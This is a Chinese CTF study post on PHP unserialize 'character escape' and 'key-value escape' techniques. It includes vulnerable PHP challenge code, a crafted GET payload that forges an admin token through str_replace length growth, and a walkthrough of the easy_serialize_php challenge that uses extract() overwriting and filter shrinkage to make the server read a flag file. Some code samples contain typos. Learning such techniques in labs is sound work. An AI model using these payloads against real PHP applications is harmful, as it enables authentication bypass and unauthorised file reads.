反序列化字符逃逸

发布于 2023-03-09  470 次阅读


  • 字符逃逸有字符被替换后增多和减少两种情况
  • 前者是字符逃逸,字符串被替换增多,构造闭环直接改变量值,再利用字符替换增多补齐
  • 后者是键值逃逸,字符串被替换减少,故意传入被替换的变量名,使得变量名的被替换缩短后与变量名长度不符,导致变量的值也被视为变量名,那么在下一个变量的变量名就可以被伪造成这个变量的变量值

字符逃逸

  • 字符逃逸用于题目对反序列化字符串进行正则替换,使得反序列化信息被破坏从而无法进行反序列化或者函数对反序列化的信息做出处理,使得无法构造pop,可以通过字符逃逸解决
  • 字符逃逸的原理是反序列化的过程就是碰到;}与最前面的{配对后,便停止反序列化。
  • 下面通过例题分析一下
<?php
highlight_file(_FILE_);
$x =array (' username’='mOre’, ' password' => 'lin') ;$y = serialize($x);
echo "<br>";
echo($y);echo "<br>";
$z =preg_replace(’/mOre/’ , 'm00re',$y);echo$z."<br>";
echo (unserialize($z));?>
  • 函数将a:2:{s:8:"username";s:4:"mOre";s:8:"password";s:3:"lin";}变成了a:2:{s:8:"username";s:4:"m00re";s:8:"password";s:3:"lin";}导致无法反序列化
  • 我们可以利用对前半部分的控制权,把后半部分给闭环掉
a:2:{s:8:"username";s:32:"mOre";s:8:"password";s:3:"lin":}";s:8:"password";s:3:"lin";}
  • 这样闭环之后成功伪造了信息,但是s:32:"mOre"这个部分就会出现字符数和字符对应不上导致无法反序列化,此类题目会使用正则替换,可以利用正则替换更改字符数,下面用题目举一个例子

  • 本地测试

<?php
class ok{
    public $test;
    public function __construct($f){
        $this->from = $f;
    }
}

$in = $_GET['in'];

if(isset($in)){
    $class = new ok($in);
    $class = str_replace('bb', 'a', serialize($class));
}

highlight_file(__FILE__); 
echo serialize($class);
传入:
?in=bbbbbb
得到:
 s:47:"O:2:"ok":2:{s:4:"test";N;s:4:"from";s:6:"aaa";}";
  • 可以看到s:6:"aaa"被替换之后反序列化信息被破坏了,但这也为构造新的字符串提供了机会,比如此处s有6位,传入的6个bbbbbb只占用了3位,剩下的三位我们就可以随便构造自己想要的东西了,比如:
传入:
?in=bbbbbbbb";}"
得到:
s:53:"O:2:"ok":2:{s:4:"test";N;s:4:"from";s:12:"aaaa";}"";}";
  • 可以看出这里提前闭合了反序列化字符串,闭环处前面就可随便构造了

  • 字符被替换减少就会出现类似s:6:"aaa"的情况,多出来的字符位可以给我们提供安插闭环的空间

  • 作业的第一题(这题其实可以不用字符逃逸)

message.php:

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}
index.php:

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);
  • 只需要对象的token属性为admin即可,如果直接改token的初始值是不行的,考虑字符逃逸将token弄没
直接传参的结果:
O:7:"message":4:{s:4:"from";s:2:"he";s:3:"msg";s:2:"ha";s:2:"to";s:3:"hei";s:5:"token";s:4:"user";}
目标结果:
O:7:"message":4:{s:4:"from";s:2:"he";s:3:"msg";s:2:"ha";s:2:"to";s:3:"hei";s:5:"token";s:5:"admin";}
目标闭环结果:
O:7:"message":4:{s:4:"from";s:2:"he";s:3:"msg";s:2:"ha";s:2:"to";s:29:"he";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
  • 对于目标闭环结果,反序列化时admin只有5位,而序列化有8位,借助上面的原理就可以让字符平白多3位
每传一个fuck而变成loveu,就会使29不变而字符串+1
传27个fuck就行辣

127.0.0.1/2.php?f=he&m=ha&t=hefuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

键值逃逸

  • 上面已经提到了原理,下面用[安洵杯 2019]easy_serialize_php演示
 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 
  • extract函数取数组键名做变量名,取值做变量的值,因为$_SESSION['function'] = $function;,所以$_SESSION['function']的值可以被随意覆盖
  • }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here!提示查看phpinfo,得到flag的文件名
post
fuction=phpinfo
  • 正常情况下,传入一个function=show_image,再直接传入下面即可,但是
$_SESSION['img'] = base64_encode('guest_img.png');

得到a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
  • 但是后面有个$_SESSION['img'] = base64_encode('guest_img.png');把img的值覆盖了,我们可以传一个变量,将后面整体注释掉
$_SESSION['phpflag']=";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";

得到a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
  • 被正则后
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
  • 这样原本表示phpflag变量长度的";s:48:就被无关紧要的s:1:"1"替换了,同时后面的s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}也足以将后端的赋值给注释掉.整个操作相当于将前面字符长度限制弄没了,把原本phpflag的值当成了之后要用到的一对键和值
届ける言葉を今は育ててる
最后更新于 2024-02-07